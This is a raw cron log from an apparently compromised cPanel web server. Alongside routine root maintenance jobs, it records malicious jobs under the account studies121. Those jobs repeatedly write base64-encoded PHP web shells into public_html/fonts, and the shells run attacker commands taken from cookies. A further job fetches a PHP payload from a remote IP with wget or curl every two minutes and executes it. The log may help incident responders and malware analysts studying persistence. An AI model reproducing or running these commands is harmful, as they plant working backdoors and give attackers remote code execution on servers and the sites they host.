Sep 10 04:45:01 ip-184-168-122-23 CROND[2118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:45:01 ip-184-168-122-23 CROND[2119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:45:01 ip-184-168-122-23 CROND[2117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:45:01 ip-184-168-122-23 CROND[2120]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:45:01 ip-184-168-122-23 CROND[2121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:45:01 ip-184-168-122-23 CROND[2115]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 10 04:46:01 ip-184-168-122-23 CROND[2243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:46:01 ip-184-168-122-23 CROND[2244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:46:01 ip-184-168-122-23 CROND[2247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:46:01 ip-184-168-122-23 CROND[2248]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 04:46:01 ip-184-168-122-23 CROND[2250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:46:01 ip-184-168-122-23 CROND[2249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:46:01 ip-184-168-122-23 CROND[2251]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 04:47:01 ip-184-168-122-23 CROND[2371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:47:02 ip-184-168-122-23 CROND[2374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:47:02 ip-184-168-122-23 CROND[2375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:47:02 ip-184-168-122-23 CROND[2373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:48:01 ip-184-168-122-23 CROND[2519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:48:01 ip-184-168-122-23 CROND[2520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:48:01 ip-184-168-122-23 CROND[2521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:48:01 ip-184-168-122-23 CROND[2526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:48:01 ip-184-168-122-23 CROND[2528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:49:01 ip-184-168-122-23 CROND[2641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:49:01 ip-184-168-122-23 CROND[2643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:49:01 ip-184-168-122-23 CROND[2645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:49:01 ip-184-168-122-23 CROND[2648]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 10 04:49:01 ip-184-168-122-23 CROND[2649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:50:01 ip-184-168-122-23 CROND[2804]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:50:02 ip-184-168-122-23 CROND[2807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:50:02 ip-184-168-122-23 CROND[2809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:50:02 ip-184-168-122-23 CROND[2810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:50:02 ip-184-168-122-23 CROND[2808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:50:02 ip-184-168-122-23 CROND[2815]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:50:02 ip-184-168-122-23 CROND[2819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:50:02 ip-184-168-122-23 CROND[2820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:50:02 ip-184-168-122-23 CROND[2817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:51:01 ip-184-168-122-23 CROND[2950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:51:01 ip-184-168-122-23 CROND[2949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:51:01 ip-184-168-122-23 CROND[2952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:51:01 ip-184-168-122-23 CROND[2951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:52:01 ip-184-168-122-23 CROND[3054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:52:01 ip-184-168-122-23 CROND[3056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:52:01 ip-184-168-122-23 CROND[3057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:52:01 ip-184-168-122-23 CROND[3055]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:52:01 ip-184-168-122-23 CROND[3060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:53:01 ip-184-168-122-23 CROND[3258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:53:01 ip-184-168-122-23 CROND[3259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:53:01 ip-184-168-122-23 CROND[3260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:53:01 ip-184-168-122-23 CROND[3264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:54:01 ip-184-168-122-23 CROND[3399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:54:01 ip-184-168-122-23 CROND[3400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:54:01 ip-184-168-122-23 CROND[3403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:54:01 ip-184-168-122-23 CROND[3404]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:54:01 ip-184-168-122-23 CROND[3406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:55:01 ip-184-168-122-23 CROND[3578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:55:01 ip-184-168-122-23 CROND[3579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:55:01 ip-184-168-122-23 CROND[3582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:55:01 ip-184-168-122-23 CROND[3584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:55:01 ip-184-168-122-23 CROND[3585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:55:01 ip-184-168-122-23 CROND[3583]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:56:01 ip-184-168-122-23 CROND[3681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 04:56:01 ip-184-168-122-23 CROND[3683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:56:01 ip-184-168-122-23 CROND[3684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 04:56:01 ip-184-168-122-23 CROND[3685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:56:01 ip-184-168-122-23 CROND[3686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 04:57:01 ip-184-168-122-23 CROND[3811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
